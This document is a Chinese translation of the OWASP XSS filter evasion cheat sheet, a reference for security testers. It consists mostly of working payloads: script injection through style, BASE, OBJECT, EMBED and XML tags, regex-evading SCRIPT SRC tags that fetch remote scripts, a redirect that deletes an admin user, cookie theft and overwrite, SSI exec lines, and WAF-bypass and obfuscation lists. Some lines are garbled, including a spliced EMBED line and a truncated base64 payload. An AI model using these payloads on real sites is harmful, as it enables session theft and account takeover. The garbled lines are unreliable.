使用 background-image 属性加上额外字符完成 XSS

Rnaske 建立了一个快速的 XSS Fuzzer 来检测半开扩号后允许的字符,但在安全的站点模式下 IE 和 Netscape8.1 中 Javascript 命令之前.这些都是十进制的,但当然可以利用十六进制进行填充.(可以使用以下任意字符: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279)

```
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
```

利用 DIV 表达式完成 XSS

这个 payload 稍微修改下在冒号和" expression"中间加入一个换行符,可以非常有效绕过真实的 XSS 防护.

```
<DIV STYLE="width: expression(alert('XSS'));">
```

利用 IE 注释块进行 XSS 绕过

尽在 IE5.0 及以上版本和使用 IE 渲染引擎模式的 Netscape 下有效.一些网站认为在注释内的内容是安全的,因此不需要移除.或者系统能够在页面某些部分添加注释标签，从而让它们失去有害性.如我们所知,这些操作(把内容注释掉的操作)可能是于事无补的:

```
<!--[if gte IE 4]>
 <SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->
```

利用<BASE>标签进行 XSS

这在 IE 和 Netscape8.1 的安全模式下能起作用.你需要使用//注释掉下一个字符,避免 JavaScript 错误,从而让我们的 XSS 攻击向量正常执行.这也依赖于一个条件:网站图像使用相

对地址如"images/image.jpg",而非绝对地址.如果地址中包含了斜杠("/images/image.jpg"),你可以在 XSS payload 移除一个:

```
<BASE HREF="javascript:alert('XSS');//">
```

利用<OBJECT>标签进行 XSS

如果页面允许<OBJECT>标签,你甚至可以在页面挂马.下面链接指向的文件是一个可以包含你的 XSS payload 的 HTML 文件;

```
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
```

使用<EMBED>标签嵌入一个包含 XSS 的 Flash 动画

如果你添加 allowScriptAccess="never"和 allownetworking="internal"属性,可以减轻这种风险(感谢 Jonathan Vanasco 提供信息);

```
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>
```

你可以嵌入包含 XSS payload 的 SVG

这个例子只在 Firefox 下有效，但它比上面的攻击向量要好一些，因为这不需要用户安装或开启 Flash（感谢 nEUrOO 提供）：

```
<EMBED SRC=" TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
```

使用 ActionScript 来混淆你的 XSS payload

```
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
```

利用 XML 数据与 CDATA 区段混淆进行 XSS

这个 XSS payload 仅限于 IE 和 Netscape8.1 中的 IE 渲染引擎中工作(由于 Sec Consult 在对 yahoo 进行审计时候发现这个 payload)

```
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
```

利用 XML 的 embedded 方法在本地 XML 中嵌入 Javascript

这与上述相同,在本地托管(必须在同一台服务器上)包含你的 XSS payload 的 XML 文件.具体看示例;

```
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
```

利用 XML 中加入 HTML+Time 元素完成 XSS

这就是 Grey Magic 攻击 hotmail 和 yahoo!的方法,这仅限于 IE 和 Netscape8.1 中使用,并记住,需要在 HTML 和<BODY>标签之间使用;

```
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
```

通过简单修改字符去绕过过滤器对".js"的过滤

可以将 XSS payload 的 Javascript 文件重命名为图片文件命名规则.

```
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
```

SSI(服务端包含)进行 XSS

这需要在服务器上安装 SSI,这样才能使用这个 XSS payload.可能不需要提及这一种攻击方法,如果攻击者可以在服务器上执行命令,那么这个安全问题就更严重了.

```
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
```

利用 PHP 完成 XSS

需要在服务器上安装 php 才能使用 XSS payload.再次提醒下,如果你可以像这样远程运行任意脚本,那么可能有更多可怕的安全问题;

```
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
```

利用 IMG 标签嵌入命令执行 XSS

它是需要用户认证后才可以执行命令的当前域页面。它将可以用于创建或者删除用户（如果访问者是管理员），或是在其他地方发送凭证等等，虽然较少被使用,但非常有效的。
译者注:可以理解为类似 CSRF 那种操作.

```
<IMG
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciousco
de">
```

利用 IMG 标签嵌入命令执行 XSS part II

这是一种更加可怕地攻击,因为没有看起来可以区别的标示符,而且它也不用放在被攻击者网站上.攻击向量使用 302 或 304 来跳转图片到一个命令地址.一个正常的<IMG SRC="httx://badguy.com/a.jpg">能够成为一个攻击工具,来执行相应的攻击命令.下面一个在 Apache 上的用来进行攻击的.htaccess 文件的内容(感谢 Timo 提供)::

```
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
```

Cookie 篡改

我承认这是一种很隐蔽的攻击方式,但我曾经见过一些示例:页面允许<META>标签,你可以用它来覆盖 cookie.还有一些其他的示例:页面不是从数据库中取用户名,而是从 cookie 中读取.这两个场景相结合的情况下,你可以修改受害者的 cookie,让你的 XSS payload 可以在页面上执行(同样你可以用它来改变用户状态，让它们以你的身份登录等):

```
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
```

利用 UTF-7 编码进行 XSS

如果页面存在 XSS 并且没有提供页面编码或者浏览器设置为 UTF-7 编码,页面就能遭到这种攻击（感谢 Roman Ivanov）.在现代浏览器中,除非修改编码类型,否则这种攻击是不会产生的(Watchfire 在 google 的 404 脚本中发现了这个漏洞)

```
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-
7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
```

使用 HTML 引用封装进行 XSS

这个在 IE 测试过,视情况而定.对于允许"<script>"标签,但不允许通过"<SCRIPT SRC..."(正则表达式为:"/<script[^>]+src/I"),这种情况就可以考虑下此 payload;

```
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

对于允许"<script>"标签,但不允许"<script src …>"站点上执行 XSS payload 正则表达式为" /<script((\s+\w+(\s*=\s*(?:".)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i",(这个很重要,因为这种正则匹配很常见.)

```
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

另外一个绕过类似这种正则过滤绕过,XSS payload.

(" /<script((\s+\w+(\s*=\s*(?:".)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i")

```
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

最后一种绕过这种正则过滤,XSS payload,使用重音符(它无法在 firefox 下使用).正则表达式为:"/<script((\s+\w+(\s*=\s*(?:".)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i";

```
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

这个 XSS paylodad,会引起正则表达式不会匹配引号,同时发现会引起不正确的终止字符串.

```
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

一个令人担忧的 XSS payload

这种 XSS payload 让我很担忧,因为它几乎无法防御,除非禁用所有动态内容.

```
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

URL 字符串绕过

假定页面不允许出现 http://www.google.com/;

利用 IP 代替域名

```
<A HREF="http://66.102.7.147/">XSS</A>
```

利用 URL 编码

```
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
```

利用双字节编码

(注意:还有其他双字节编码方式,具体可以通过后面的 IP 混淆计算器来获取更多信息)

```
<A HREF="http://1113982867/">XSS</A>
```

利用十六进制编码

你可以在第 2 个数字看出来,每个数字允许的总大小在 240 之内.16 进制的值是介于 0~F 之间的.从第 3 个数字看,前导 0 的也是不需要的:

```
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
```

利用八进制编码

你可以填充 0,但是要保证每个“数字”都不小于 4 个字符:

```
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
```

利用混合编码

我们混合并匹配基本编码,添加一些制表符和换行符.这些符号需要包含在引号内才起作用.

```
<A HREF="h
tt    p://6      6.000146.0x7.147/">XSS</A>
```

利用协议解析绕过

(//转换为 http://能节省一些字符).当空间成为问题时,这是非常方便的方法.也能绕过类似于"(ht|f)tp(s)?://“的正则(感谢 Ozh 的提供).你可以将"//“改为"\".你需要保证斜杠在准确的位置,否则有可能被当成一个相对路径.

```
<A HREF="//www.google.com/">XSS</A>
```

利用 Google”手气不错” part 1

Firefox 使用 Google 的手气不错功能来根据用户键入的关键字跳转到对应的网站.如果你的攻击页面在一些随机关键词的顶部,你可以使用这个特性来攻击 Firefox 用户.这利用了 Firefox 的“keyword:”协议.你可以通过使用若干关键词来达到目的:"keyword:XSS+RSnake”,这在 Firefox2.0 版本不再有效.

```
<A HREF="//google">XSS</A>
```

利用 Google”手气不错” part 2

这里使用了一个只有 Firefox 支持的小窍门.因为它是基于手气不错功能开发的.这个不支持 opera，因为 opera 认为这是一个利用 HTTP 基本认证的网络钓鱼攻击.事实上它仅仅是一个畸形的 URL.如果你单击这个链接的话,它就会产生作用.不过这个特性在 Firefox2.0 之后的版

本也不支持了:

```
<A HREF="http://ha.ckers.org@google">XSS</A>
```

利用 Google”手气不错” part 3

这是一个畸形的 Url,只能在 Firefox 和 Opera 中起作用.因为它们是基于手气不错功能实现的,像上面的例子一样,它们需要你的网站在谷歌搜索中排名第一(例如 google):

```
<A HREF="http://google:ha.ckers.org">XSS</A>
```

利用删除 cnames

结合上面的 URL，移除 www 能节省 4 个字节：

```
<A HREF="http://google.com/">XSS</A>
```

利用额外点绕过

```
<A HREF="http://www.google.com./">XSS</A>
```

利用 Javascript 链接地址

```
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
```

利用内容替换的 payload

假定"http://www.google.com/“被过滤器以编程方式被替换为空.我会使用类似的攻击向量借用过滤器的转换来绕过 XSS 过滤器从而创建攻击向量.下面是一个帮助创建攻击向量的例子(IE: "java	script:"被转换为"java script:",这在 IE、安全模式下的 Netscape 8.1+和 Opera 是有效的);

```
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
```

字符转义表

下面是<字符在 HTML 和 Javascript 中所有组合.大多数不会被浏览器直接执行.但是在很多能够在上述某些特定情况下使用.

<
%3C
&lt
<
&LT
<
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
<
<
<
<
<
<
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
<
<
<
<
<
<
&#X3c
&#X03c
&#X003c

&#X0003c
&#X00003c
&#X000003c
<
<
<
<
<
<
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
<
<
<
<
<
<
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C

针对跨站脚本攻击-绕过 WAF 的方法

一般问题

- 存储型 XSS

如果攻击者绕过过滤器发起 XSS 攻击,WAF 将无法防御攻击

- 反射型 XSS

```
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
```

基于 DOM 型 XSS

```
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie
```

XSS 请求重定向

容易受攻击代码:

```
...
  header('Refresh: 0; URL='.$_GET['param']);
...
```

- 此请求 WAF 将会被拦截

```
/?param=javascript:alert(document.cookie)
```

- 利用编码将绕过 WAF,并会在某些浏览器中执行 XSS paylod.

```
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
```

针对 XSS bypass WAF 的字符串

```
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
```

```
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe
src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
```

利用混淆绕过过滤器

```
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
```

作者和主编

Robert "RSnake" Hansen

贡献者

Adam Lange
Mishra Dhiraj 其他备忘录
就不一样介绍了,详情请访问
https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series